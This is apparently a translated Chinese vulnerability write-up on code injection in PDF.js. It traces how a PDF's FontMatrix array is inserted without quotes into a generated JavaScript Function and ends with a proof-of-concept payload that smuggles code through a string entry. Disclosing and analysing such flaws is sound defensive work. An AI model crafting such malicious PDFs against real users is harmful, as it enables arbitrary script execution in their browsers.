// 如果可以,将cmds编译成JS以获得最大速度... if (this.isEvalSupported && FeatureTest.isEvalSupported) { const jsBuf = []; for (const current of cmds) { const args = current.args !== undefined ? current.args.join(",") : ""; jsBuf.push("c.", current.cmd, "(", args, ");\\n"); } // eslint-disable-next-line no-new-func console.log(jsBuf.join("")); return (this.compiledGlyphs[character] = new Function( "c", "size", jsBuf.join("") )); }从攻击者的角度来看,这非常有趣:如果我们能够以某种方式控制进入Function体的cmds并插入自己的代码,那么当渲染这样一个字形时,它将被执行。现在,让我们看看这个命令列表是如何生成的。追溯到CompiledFont类的compileGlyph(...)方法,我们发现这个方法用一些通用命令(save, transform, scale 和 restore)初始化了cmds数组,并调用compileGlyphImpl(...)方法来填充实际的渲染命令:
compileGlyph(code, glyphId) { if (!code || code.length === 0 || code[0] === 14) { return NOOP; } let fontMatrix = this.fontMatrix; ... const cmds = [ { cmd: "save" }, { cmd: "transform", args: fontMatrix.slice() }, { cmd: "scale", args: ["size", "-size"] }, ]; this.compileGlyphImpl(code, cmds, glyphId); cmds.push({ cmd: "restore" }); return cmds; }如果我们对PDF.js代码进行插桩以记录生成的Function对象,我们会看到生成的代码确实包含了这些命令:
c.save(); c.transform(0.001,0,0,0.001,0,0); c.scale(size,-size); c.moveTo(0,0); c.restore();在这一点上,我们可以审计字体解析代码以及由字形产生的各种命令和参数,比如quadraticCurveTo和bezierCurveTo,但所有这些看起来都是相当无害的,没有能力控制任何东西除了数字。然而,更有趣的是我们上面看到的transform命令:
{ cmd: "transform", args: fontMatrix.slice() },这个fontMatrix数组是通过.slice()复制的,并插入到Function对象体中,用逗号连接。代码显然假设它是一个数字数组,但情况总是这样吗?这个数组中的任何字符串将被文字插入,周围没有任何引号。因此,这将打破JavaScript语法,最坏的情况下,可能导致任意代码执行。但我们能否以这种方式控制fontMatrix的内容呢?
extractFontHeader(properties) { let token; while ((token = this.getToken()) !== null) { if (token !== "/") { continue; } token = this.getToken(); switch (token) { case "FontMatrix": const matrix = this.readNumberArray(); properties.fontMatrix = matrix; break; ... } ... } ... }这对我们来说并不是很有趣。尽管Type1字体的技术头部包含任意Postscript代码,但没有任何理智的PDF阅读器完全支持这一点,大多数阅读器只是尝试读取具有预期类型的预定义键值对。在这种情况下,PDF.js在遇到FontMatrix键时只读取一个数字数组。看来我们确实限于数字。
const properties = { type, name: fontName.name, subtype, file: fontFile, ... fontMatrix: dict.getArray("FontMatrix") || FONT_IDENTITY_MATRIX, ... bbox: descriptor.getArray("FontBBox") || dict.getArray("FontBBox"), ascent: descriptor.get("Ascent"), descent: descriptor.get("Descent"), xHeight: descriptor.get("XHeight") || 0, capHeight: descriptor.get("CapHeight") || 0, flags: descriptor.get("Flags"), italicAngle: descriptor.get("ItalicAngle") || 0, ... }在PDF格式中,字体定义由几个对象组成。Font、它的FontDescriptor和实际的FontFile。例如,这里由对象1、2和3表示:
1 0 obj << /Type /Font /Subtype /Type1 /FontDescriptor 2 0 R /BaseFont /FooBarFont >> endobjdict引用的代码指的是Font对象。因此,我们应该能够像这样定义一个自定义的FontMatrix数组:
1 0 obj << /Type /Font /Subtype /Type1 /FontDescriptor 2 0 R /BaseFont /FooBarFont /FontMatrix [1 2 3 4 5 6] % <----- >> endobj尝试这样做最初看起来似乎不起作用,因为生成的Function体中的transform操作仍然使用默认矩阵。然而,这是因为字体文件本身覆盖了该值。幸运的是,当使用没有内部FontMatrix定义的Type1字体时,PDF指定的值是权威的,因为fontMatrix值没有被覆盖。现在我们可以从一个PDF对象中控制这个数组,我们就有了我们想要的所有灵活性,因为PDF支持的不仅仅是数字类型的原始数据。让我们尝试用一个字符串类型的值代替数字(在PDF中,字符串由括号分隔):
/FontMatrix [1 2 3 4 5 (foobar)]确实,它被直接插入到Function体中!
c.save(); c.transform(1,2,3,4,5,foobar); c.scale(size,-size); c.moveTo(0,0); c.restore();利用和影响
/FontMatrix [1 2 3 4 5 (0); alert('foobar')]结果正如预期:
2024-05-22 – 补充了详细的版本信息和更新的PoC,感谢Rob Wu